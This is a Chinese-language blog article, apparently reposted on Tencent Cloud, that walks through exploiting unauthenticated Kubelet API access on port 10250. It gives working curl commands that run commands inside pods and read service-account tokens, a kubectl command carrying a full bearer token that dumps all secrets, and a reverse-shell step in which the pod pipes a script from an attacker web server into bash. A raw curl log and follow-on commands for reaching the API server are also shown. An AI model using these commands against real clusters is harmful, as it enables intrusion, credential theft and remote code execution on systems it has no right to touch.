前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >Kubelet端口未授权深入利用

Kubelet端口未授权深入利用

作者头像
Al1ex
发布2024-12-05 12:22:46
发布2024-12-05 12:22:46
1430
举报
文章被收录于专栏:网络安全攻防
漏洞描述

K8s Node对外开启10250(Kubelet API)和10255端口(readonly API),默认情况下kubelet监听的10250端口没有进行任何认证鉴权,攻击者可以通过利用该设计缺陷来创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机

环境搭建

Step 1:修改配置文件开启匿名访问:

代码语言:javascript
复制
sudo vi /var/lib/kubelet/config.yaml

Step 2:重载服务

代码语言:javascript
复制
systemctl restart kubelet.service
systemctl status kubelet

之后使用浏览器访问发现依旧不行

Step 3:最后直接system:anonymous绑定到cluster-admin角色中并起个cluster-system:anonymous名字

代码语言:javascript
复制
kubectl create clusterrolebinding cluster-system:anonymous --clusterrole=cluster-admin --user=system:anonymous

Step 4:之后再次访问之

漏洞利用

Step 1:获得token

首先需要确定node是否存在未授权问题,如果访问以下地址并返回如下数据表示可以利用

代码语言:javascript
复制
https://ip:10250/pods

Step 2:基础信息确定

从上述结果中确定namespace、pod_name、container_name,关于查找方法可以通过检索selfLink,此时会发现再返回的数据中会有一个类似"/api/v1/namespaces/kube-system/pods/kube-flannel-ds-xwk2t"的值,其中namespaces就是后面的kube-system,pods就是后面的kube-flannel-ds-xwk2t,如果执行失败可以看看phase的状态是不是fail,如果是的话就换一个phase是running的试试

Step 3:执行命令

可以通过一下命令再在对应的容器里执行命令:

代码语言:javascript
复制
#格式说明
curl -k -XPOST "https://k8s-node-1:10250/run/%namespace%/%pod_name%/%container_name%" -d "cmd=ls -la /"
    
#执行实例
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=ls -la /"

Step 4:检索Token信息

默认情况下Token保存在/var/run/secrets/kubernetes.io/serviceaccount/token

代码语言:javascript
复制
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

如果token不在/var/run/secrets/kubernetes.io/serviceaccount/token,那么可以通过mount命令来查找

代码语言:javascript
复制
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=mount"

Step 5:获得master访问权

接下来可以尝试获得master(api server)的访问权限,默认情况下api server开放的端口为6443,所以可以通过扫描同个网段开放6443的主机来挨个尝试,除了这种方法还可以尝试执行env命令来查看是否有api server的地址或者其他敏感信息:

代码语言:javascript
复制
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=env"
代码语言:javascript
复制
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=netstat -ntlp"

如果提示Error from server (Forbidden): secrets is forbidden: User “" cannot list resource "secrets" in API则说明权限不够

代码语言:javascript
复制
kubectl --insecure-skip-tls-verify=true --server="https://192.168.17.144:6443" --token="eyJhbGciOiJSUzI1NiIsImtpZCI6Iml3OVRtaVlnREpPQ0h2ZlUwSDBleFlIc29qcXgtTmtaUFN4WDk4NjZkV1EifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJmbGFubmVsLXRva2VuLWhwbGJ0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImZsYW5uZWwiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIwMmJmZmUzZi0wNGE5LTQ2MTItYjRjYy1mYjNkNTdiNjZiZDkiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Zmxhbm5lbCJ9.oGnRE55P1Dv9W4-Gs8UCp5M1_vdL2flZ0WYJtr8HTMgb2Si6wb-N_ltS1HRi_Q9VHsS_CsjHw3ZqA-jQvbz-RENNLDEL20nUt9J51IyqeGPC3sKAd3fVOZmViIVrYsQSewvPHwPq7qvFnIj1aR-pFYrB47iohej2XvS4aTNZMdpxhL0jCBa3o5SFZg1oNR1rzJd1hhSaCNAbQ7_JMdTuCy4aU0zykVd0GoUF9gXRD7Avx9Y25QGCBTdPgL11fzjcGiG93KtfE4QASiLemnxDF1TPeob9MERFbT6mq-CQ7243U6HjF6Lx-1NfLk52qaXp3hbpGySNudUz_i_Q-KWIgw" get secrets --all-namespaces -o json

Step 6:获取node里pod的shell

攻击者可以本地搭建web服务,通过在node中的pod里执行反弹语句来获得node的shell,假定这里的192.168.17.161:80是攻击者web服务,之后写入以下反弹shell指令,之后启动一个简易的HTTP服务:

在本地浏览器中进行简单测试:

之后在攻击主机上监听:

之后进行反弹shell操作:

代码语言:javascript
复制
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.17.144:10250/exec/kube-system/kube-flannel-ds-xwk2t/kube-flannel?command=/bin/bash&command=-c&command=curl+192.168.17.161:80+|+bash&input=1&output=1&tty=1"

发现并不行,之后尝试下面的语句(主要换了sh)

代码语言:javascript
复制
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.17.144:10250/exec/kube-system/kube-flannel-ds-xwk2t/kube-flannel?command=/bin/sh&command=-c&command=curl+192.168.17.161+|+bash&input=1&output=1&tty=1"

发现也为成功,可能是笔者这里的环境问题所致,下面给出一个成功的截图:

之后会再执行端返回用于查看执行结果的链接地址:

代码语言:javascript
复制
[root@localhost ~]# curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.4.68:10250/exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1"
* About to connect() to 192.168.4.68 port 10250 (#0)
*   Trying 192.168.4.68...
* Connected to 192.168.4.68 (192.168.4.68) port 10250 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
* skipping SSL peer certificate verification
* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
*   subject: CN=192.168.4.68@1544518989
*   start date: 12月 11 09:03:09 2018 GMT
*   expire date: 12月 11 09:03:09 2019 GMT
*   common name: 192.168.4.68@1544518989
*   issuer: CN=192.168.4.68@1544518989
> POST /exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1 HTTP/1.1
> User-Agent: curl/7.29.0
> Host: 192.168.4.68:10250
> Accept: */*
> X-Stream-Protocol-Version: v2.channel.k8s.io
> X-Stream-Protocol-Version: channel.k8s.io
> 
< HTTP/1.1 302 Found
< Location: /cri/exec/zEKYcaZt              #查看执行结果
< Date: Wed, 07 Aug 2019 06:01:42 GMT
< Content-Length: 0
< Content-Type: text/plain; charset=utf-8
< 
* Connection #0 to host 192.168.4.68 left intact
[root@localhost ~]#

执行如下语句查看命令执行结果

代码语言:javascript
复制
[root@localhost ~]# docker run -it --rm joshgubler/wscat -c "https://192.168.4.68:10250/cri/exec/zEKYcaZt" --no-check

Step 7:连接K8s Master地址

此时我们是在Node的Pod里,在反弹的Shell里查看Master的内部IP

尝试连接K8s Master地址

代码语言:javascript
复制
[root@localhost ~]# TOKEN_VALUE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[root@localhost ~]# curl -k --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt -H  "Authorization: Bearer $TOKEN_VALUE" https://10.0.0.1:443/api/v1/pods

文末小结

攻击者可以借助Kubelet端口未授权漏洞获取大量的敏感信息并实现在Pod中执行命令的目的,若要进行后渗透利用还需要获取到有效的Token

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-12-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞描述
  • 环境搭建
  • 漏洞利用
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档